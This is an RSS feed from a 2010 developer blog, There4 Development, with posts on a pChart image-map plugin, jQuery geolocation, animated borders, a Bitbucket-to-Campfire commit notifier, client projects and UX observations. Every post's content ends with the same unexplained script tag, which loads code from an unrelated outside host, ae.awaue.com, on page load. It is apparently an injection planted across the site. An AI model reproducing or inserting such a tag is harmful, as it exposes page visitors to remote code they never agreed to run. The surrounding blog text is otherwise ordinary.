<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>There4 Development</title>
	<atom:link href="http://there4development.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://there4development.com</link>
	<description>Application development and consulting</description>
	<lastBuildDate>Sat, 19 Jun 2010 20:41:54 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>pChart and jQuery image map hover</title>
		<link>http://there4development.com/2010/06/pchart-and-jquery-image-map-hover/</link>
		<comments>http://there4development.com/2010/06/pchart-and-jquery-image-map-hover/#comments</comments>
		<pubDate>Sat, 19 Jun 2010 19:16:41 +0000</pubDate>
		<dc:creator>Craig Davis</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://there4development.com/?p=481</guid>
		<description><![CDATA[I have used pChart as a graphing and charting package in several projects. It produces clean graphs, but its native tooltip support has always disappointed me. 
I set about to update this with new functionality and to replace the existing javascript with something new from jQuery. I&#8217;ve chosen to use qTip to handle the tooltip [...]]]></description>
			<content:encoded><![CDATA[<p>I have used <a href="http://pchart.sourceforge.net/">pChart</a> as a graphing and charting package in several projects. It produces clean graphs, but its native <a href="http://pchart.sunyday.net/ImageMap/">tooltip support</a> has always disappointed me. </p>
<p>I set about to update this with new functionality and to replace the existing javascript with something new from jQuery. I&#8217;ve chosen to use <a href="http://craigsworks.com/projects/qtip/">qTip</a> to handle the tooltip production, and have extended pChart with new functions for both pChart_Map::SaveImageMap() and pChart_Map::GetImageMap(). These functions now produce an <a href="http://www.w3schools.com/tags/tag_map.asp">image map</a> rather than the pChart data format. </p>
<h2>Demo</h2>
<p>You can see a <a href="/projects/pchart_map">working demo</a> in my project sandbox.</p>
<h2>Download</h2>
<p><a class="download" href="/projects/pchart_map/pchart_map.zip">Download pChart_Map</a></p>
<h2>How it works</h2>
<ol>
<li>The page has a new jQuery plugin called pChart() for each of the pChart images.</li>
<li>The browser calls the pChart image producer with a unique ID for the image</li>
<li>As the pChart image is created, pChart writes an image map file for this ID to a tmp directory</li>
<li>The jQuery load() event catches when pChart has loaded the image</li>
<li>jQuery loads the newly created image map file from disk via pChart</li>
<li>jQuery attaches the image map to the image, and then applies qTip to the chart for this image map</li>
</ol>
<h2>Notes</h2>
<ul>
<li>Make sure that the image tag has an id that matches the MapID on the get request for the chart.</li>
</ul>
<p><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://there4development.com/2010/06/pchart-and-jquery-image-map-hover/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Geolocation services with jQuery and IPInfoDB</title>
		<link>http://there4development.com/2010/03/geolocation-services-with-jquery-and-ipinfodb/</link>
		<comments>http://there4development.com/2010/03/geolocation-services-with-jquery-and-ipinfodb/#comments</comments>
		<pubDate>Fri, 19 Mar 2010 02:42:33 +0000</pubDate>
		<dc:creator>Craig Davis</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://there4development.com/?p=466</guid>
		<description><![CDATA[I&#8217;m releasing a simple script that uses jQuery and a small proxy script to deliver location services via jQuery. You can see a simple example.
Geolocation with IPInfoDB
Requirements

jQuery JSON
jQuery Cookie
Snoopy PHP

Code and explanations
By placing this at the jQuery level it prevents any page blocking that may occur during loading, and the proxy script prevents any cross [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;m releasing a simple script that uses jQuery and a small proxy script to deliver location services via jQuery. You can see a <a href="http://there4development.com/projects/geolocation/">simple example</a>.</p>
<p><a class="download" href="/projects/geolocation/geolocation.zip">Geolocation with IPInfoDB</a></p>
<h2>Requirements</h2>
<ul>
<li><a href="http://code.google.com/p/jquery-json/">jQuery JSON</a></li>
<li><a href="http://plugins.jquery.com/project/cookie">jQuery Cookie</a></li>
<li><a href="http://sourceforge.net/projects/snoopy/">Snoopy PHP</a></li>
</ul>
<h2>Code and explanations</h2>
<p>By placing this at the jQuery level it prevents any page blocking that may occur during loading, and the proxy script prevents any cross site scripting problems.</p>
<p>First, the javascript variables , with a small bit of PHP:</p>
<pre class="brush:jscript">
var ip = "&lt;?php print $_SERVER['REMOTE_ADDR'];?&gt;";
var geolocation = "./ip_proxy.php";
var cookiename = 'geo_location';
var cookieoptions = { path: '/', expires: 10 };
</pre>
<p>These variables setup the path to the proxy script, place the users IP address into a javascript variable, and establish our cookie parameters. Next, we setup our page initialization function:</p>
<pre class="brush:jscript">
$(function(){

  fetchlocation();

});
</pre>
<pre class="brush:jscript">
displaylocation = function(location) {
  if (location.Status == 'OK') {
    $('.city').text(location.City);
    $('.zip').text(location.ZipPostalCode);
    if(location.State != '--') {
      $('.state').text(location.State);
    } else {
      $('.state').text(location.RegionName);
    }
  }
}

fetchlocation = function() {
  // look in the cookie for the location data
  cookiedata = $.cookie(cookiename);
  if ('' != cookiedata) {
    locationinfo = $.evalJSON(cookiedata);
    if ((locationinfo != null) &#038;&#038; (locationinfo.IP == ip)) {
      displaylocation(locationinfo);
      $.cookie(cookiename, cookiedata, cookieoptions);
      return;
    }
  }
  // it's not in the cookie, so fetch from the server
  $.getJSON(
    geolocation, {
      'timezone' : 'false', // set this to false to save the service 2 queries
      'ip'       : ip
    },
    function(data) {
      data.IP = ip;
      displaylocation(data);
      cookiedata = $.toJSON(data);
      $.cookie(cookiename, cookiedata, cookieoptions);
    }
  );
}
</pre>
<h2>PHP code</h2>
<p>The PHP code is well documented within the ip_proxy.php file. It acts as an intermediary between the jQuery script, and the IP producer. Note that the file can restrict based on hosts, and adds an extra State abbreviation variable to the data returned by the <a href="http://ipinfodb.com/">IPInfoDB API</a></p>
<p><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://there4development.com/2010/03/geolocation-services-with-jquery-and-ipinfodb/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>jQuery Animated Borders</title>
		<link>http://there4development.com/2010/02/jquery-animated-borders/</link>
		<comments>http://there4development.com/2010/02/jquery-animated-borders/#comments</comments>
		<pubDate>Sun, 21 Feb 2010 18:44:53 +0000</pubDate>
		<dc:creator>Craig Davis</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[JavaScript]]></category>

		<guid isPermaLink="false">http://there4development.com/?p=459</guid>
		<description><![CDATA[This is a small plugin that I&#8217;ve put together to allow an animated border on any block level element. This is an initial release, and it still have some quirks. It still needs a page resize event handler.
You can see the sample at here at There4, and you can see the project page and submit [...]]]></description>
			<content:encoded><![CDATA[<p>This is a small plugin that I&#8217;ve put together to allow an animated border on any block level element. This is an initial release, and it still have some quirks. It still needs a page resize event handler.</p>
<p>You can see the sample at <a href="http://there4development.com/projects/animatedborder/">here at There4</a>, and you can see the project page and submit issues at <a href="http://plugins.jquery.com/project/animatedborder">http://plugins.jquery.com/project/animatedborder</a>.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://there4development.com/2010/02/jquery-animated-borders/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Dri-Eaz PDF Generators</title>
		<link>http://there4development.com/2009/12/dri-eaz-pdf-generators/</link>
		<comments>http://there4development.com/2009/12/dri-eaz-pdf-generators/#comments</comments>
		<pubDate>Wed, 09 Dec 2009 00:41:01 +0000</pubDate>
		<dc:creator>Craig Davis</dc:creator>
				<category><![CDATA[Applications]]></category>
		<category><![CDATA[Projects]]></category>

		<guid isPermaLink="false">http://there4development.com/?p=457</guid>
		<description><![CDATA[Dri-Eaz needed a collection of PDF document generators for both internal purposes and for use in advertising by their dealer network.]]></description>
			<content:encoded><![CDATA[<p>Dri-Eaz needed a collection of PDF document generators for both internal purposes and for use in advertising by their dealer network.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://there4development.com/2009/12/dri-eaz-pdf-generators/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Bowen Tree Farm</title>
		<link>http://there4development.com/2009/12/bowen-tree-farm/</link>
		<comments>http://there4development.com/2009/12/bowen-tree-farm/#comments</comments>
		<pubDate>Wed, 09 Dec 2009 00:15:02 +0000</pubDate>
		<dc:creator>Craig Davis</dc:creator>
				<category><![CDATA[Featured]]></category>
		<category><![CDATA[Projects]]></category>
		<category><![CDATA[Websites]]></category>

		<guid isPermaLink="false">http://there4development.com/?p=439</guid>
		<description><![CDATA[Bowen Tree Farm is a family farm that sells Christmas trees in Arlington, WA. This is a single page site developed with Wordpress.com as the host.]]></description>
			<content:encoded><![CDATA[<p><a href="http://bowenchristmastreefarm.com">Bowen Tree Farm</a> is a family farm that sells Christmas trees in Arlington, WA. The site was developed for Wordpress.com and uses individual posts as elements on the single page to make editing simple. </p>
<p>Here&#8217;s the structure of the page, each block is a full length post:<br />
<img src="http://there4development.com/wp-content/uploads/2009/12/bowen-structure.png" alt="bowen-structure" title="bowen-structure" width="400" height="253" class="alignleft size-full wp-image-446" /></p>
<p>This is built on the excellent <a href="http://www.plaintxt.org/themes/sandbox/">Sandbox</a> theme for <a href="http://wordpress.com">Wordpress</a>.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://there4development.com/2009/12/bowen-tree-farm/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Commit integration from bitbucket.org to Campfire chat</title>
		<link>http://there4development.com/2009/11/bitbucket-and-campfire/</link>
		<comments>http://there4development.com/2009/11/bitbucket-and-campfire/#comments</comments>
		<pubDate>Wed, 25 Nov 2009 19:18:43 +0000</pubDate>
		<dc:creator>Craig Davis</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://there4development.com/?p=416</guid>
		<description><![CDATA[My full time employer recently began to host our projects with Bitbucket.org. I&#8217;ve been very impressed so far, and have been enjoying the ease of browsing past revisions and merges. We also use the 37 Signals collection of applications. Bitbucket has some rudimentary Basecamp integration, but we spend time collaborating in Campfire, and I wanted [...]]]></description>
			<content:encoded><![CDATA[<p>My full time employer recently began to host our projects with <a href="Bitbucket.org">Bitbucket.org</a>. I&#8217;ve been very impressed so far, and have been enjoying the ease of browsing past revisions and merges. We also use the <a href="http://37signals.com">37 Signals</a> collection of applications. Bitbucket has some rudimentary <a href="http://basecamphq.com/">Basecamp</a> integration, but we spend time collaborating in <a href="http://campfirenow.com">Campfire</a>, and I wanted to be alerted when commits were made via chat.</p>
<p>I found a php class called <a href="http://labs.mimmin.com/icecube/">Icecube</a> that integrates with the <a href="http://productblog.37signals.com/products/2008/01/print-data-from.html">Campfire API</a>. The documentation for the Bitbucket post data can be found in their help docs for <a href="http://bitbucket.org/help/WritingBrokers#the-payload">the post payload</a>. I combined this class with a code found at <a href="http://61924.nl/blog/e/00015-bitbucket-commit-irc-bot.html">61924.nl</a>, The script from 61924 can receive the payload from Bitbucket, and process it correctly. I&#8217;ve modified the script to present the commit messages with improved formatting, and have added some config options.</p>
<h1>Download the scripts</h1>
<p><a class="download" href="http://labs.mimmin.com/icecube/">Download Icecube at 61924.nl</a><br />
<a class="download" href="/source/bitbucket/bitbucket.php">Download Bitbucket and Campfire script</a></p>
<h1>Setup the scripts</h1>
<p><img src="http://there4development.com/wp-content/uploads/2009/11/Picture-21.png" alt="Bitbucket script config" title="Bitbucket script config" width="507" height="265" class="aligncenter size-full wp-image-426"  style="border: 2px dashed #dedede; margin: 5px;"/></p>
<p>Place both of the scripts into a web accessible directory, and open bitbucket.php and edit the config section of the file.</p>
<p><img src="http://there4development.com/wp-content/uploads/2009/11/Picture-1.png" alt="Bitbucket Post Setup" title="Bitbucket Post Setup" width="464" height="229" class="aligncenter size-full wp-image-425" style="border: 2px dashed #dedede; margin: 5px;"/><br />
Next, open your bitbucket.org repo, choose admin, services, and then add a new post type. Then specify the url to bitbucketchat.php.</p>
<h1>Using the script</h1>
<p>Join the chat with another account, and make a post!</p>
<p>Questions or suggestions? Leave a comment!<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://there4development.com/2009/11/bitbucket-and-campfire/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Heft &#8211; Is there a corollary in UX?</title>
		<link>http://there4development.com/2009/11/heft-is-there-a-corollary-in-ux/</link>
		<comments>http://there4development.com/2009/11/heft-is-there-a-corollary-in-ux/#comments</comments>
		<pubDate>Tue, 24 Nov 2009 06:05:10 +0000</pubDate>
		<dc:creator>Craig Davis</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[UX]]></category>

		<guid isPermaLink="false">http://there4development.com/?p=407</guid>
		<description><![CDATA[There has been some really good discussion lately about the ways that we as consumers judge a product. I do believe that quality is fractal. The quality of a product can be felt almost immediately &#8211; we can all tell the difference in leather and vinyl, if not immediately by sight, certainly by touch. What [...]]]></description>
			<content:encoded><![CDATA[<p>There has been some really good discussion lately about the ways that we as consumers judge a product. I do believe that <a href="http://uxhero.com/ux-theory/quality-is-fractal/">quality is fractal</a>. The quality of a product can be felt almost immediately &#8211; we can all tell the difference in leather and vinyl, if not immediately by sight, certainly by touch. What elements in an user interface are like this? What can we change in a UX that gives an application a better feel?</p>
<p>I believe that one of the things that affects the way that we feel about a product is it&#8217;s heft &#8211; the apparent density of a product. Some small electronics devices have <a href="http://idsamp.wordpress.com/2009/08/17/whats-that-adding-dead-weight/">extra weight added</a> to them. We&#8217;ve all purchased something that looked great, but felt flimsy once it was in our hands. That added heft in this case is not entirely fake &#8211; without the added heft it wouldn&#8217;t sit on a table correctly, the cables running into it could hold it aloft or twist it around. But beyond that, it&#8217;s psychological.</p>
<p>So, with that in mind, what in UX is might be the corollary to heft?<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://there4development.com/2009/11/heft-is-there-a-corollary-in-ux/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Does your web application have&#8230;</title>
		<link>http://there4development.com/2009/11/does-your-web-application-have/</link>
		<comments>http://there4development.com/2009/11/does-your-web-application-have/#comments</comments>
		<pubDate>Sat, 14 Nov 2009 23:31:11 +0000</pubDate>
		<dc:creator>Craig Davis</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[Twitter]]></category>
		<category><![CDATA[tweets]]></category>

		<guid isPermaLink="false">http://there4development.com/2009/11/does-your-web-application-have/</guid>
		<description><![CDATA[Does your web application have a visceral quality that you can feel, or a reflective quality that you must realize?
]]></description>
			<content:encoded><![CDATA[<p>Does your web application have a visceral quality that you can feel, or a reflective quality that you must realize?<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://there4development.com/2009/11/does-your-web-application-have/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>AJAX interaction indications and timers</title>
		<link>http://there4development.com/2009/11/ajax-interaction-indications-and-timers/</link>
		<comments>http://there4development.com/2009/11/ajax-interaction-indications-and-timers/#comments</comments>
		<pubDate>Sat, 14 Nov 2009 17:51:34 +0000</pubDate>
		<dc:creator>Craig Davis</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[UX]]></category>

		<guid isPermaLink="false">http://there4development.com/?p=411</guid>
		<description><![CDATA[I believe that AJAX interactions are still new enough that customers can have a difficult time knowing what to expect from them. I recently completed an interface where we were using jQuery to create and manage lists. In this list interface, we ran into some interesting assumptions that people were making about the way that the application worked based on the interface.
]]></description>
			<content:encoded><![CDATA[<p>I believe that AJAX interactions are still new enough that customers can have a difficult time knowing what to expect from them. I recently completed an interface where we were using jQuery to create and manage lists. In this list interface, we ran into some interesting assumptions that people were making about the way that the application worked based on the interface.</p>
<p>When the user added a new item to the list, the app displayed a spinner, and then faded in the new item from the input box to the list. On the development machines, it was moderately fast. But once it was on the production machines, the ajax was extremely fast &#8211; it returned in less than a tenth of a second. This meant that the spinner was displayed for such a short period of time that the users simply didn&#8217;t see it. It was never visible to the user.</p>
<p>Because of this, the users didn&#8217;t seem to be understanding that the item had become permanent &#8211; testing showed that they were actually looking for a &#8220;save&#8221; button after they had added their items to the app. After some discussion, it became apparent that the speed was confusing them. They believed that web applications have to process for a moment and communicate with a server. Because the process was so snappy, they believed that there was no way it could have been saved on the server, and so they were looking for a submit button to save their items. Because of the speed of the interface, they thought that the changes were only happening locally.</p>
<p><strong>The solution?</strong> We added a timer to the application so that the spinner would never show less than three tenths of a second. It was long enough that they <em>felt</em> that the new item had been saved.</p>
<p><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://there4development.com/2009/11/ajax-interaction-indications-and-timers/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Inconsistent Menu Extras</title>
		<link>http://there4development.com/2009/11/inconsistent-menu-extras/</link>
		<comments>http://there4development.com/2009/11/inconsistent-menu-extras/#comments</comments>
		<pubDate>Fri, 13 Nov 2009 23:50:22 +0000</pubDate>
		<dc:creator>Craig Davis</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[UX]]></category>

		<guid isPermaLink="false">http://there4development.com/?p=403</guid>
		<description><![CDATA[I am surprised that the Google Notifiers for OSX are inconsistent with the system icons in the menu extras. Here&#8217;s a screenshot:
I&#8217;m usually very impressed with the consistency that Google presents with their UI design, and this bothers me every time that I look at this. I would hate for the icon designers to begin [...]]]></description>
			<content:encoded><![CDATA[<p>I am surprised that the Google Notifiers for OSX are inconsistent with the system icons in the menu extras. Here&#8217;s a screenshot:</p>
<div id="attachment_404" class="wp-caption aligncenter" style="width: 325px"><img src="http://there4development.com/wp-content/uploads/2009/11/Picture-2.png" alt="Inconsistent colors in the menu extras" title="Google Notifiers on OSX" width="315" height="22" class="size-full wp-image-404" /><p class="wp-caption-text">Inconsistent colors in the menu extras</p></div>
<p>I&#8217;m usually very impressed with the consistency that Google presents with their UI design, and this bothers me every time that I look at this. I would hate for the icon designers to begin to ignore the simplicity that the monochrome icons present in the menu extras. I believe that the extras icons should only use color for an application that is in an alert state, such as a low battery.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://there4development.com/2009/11/inconsistent-menu-extras/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
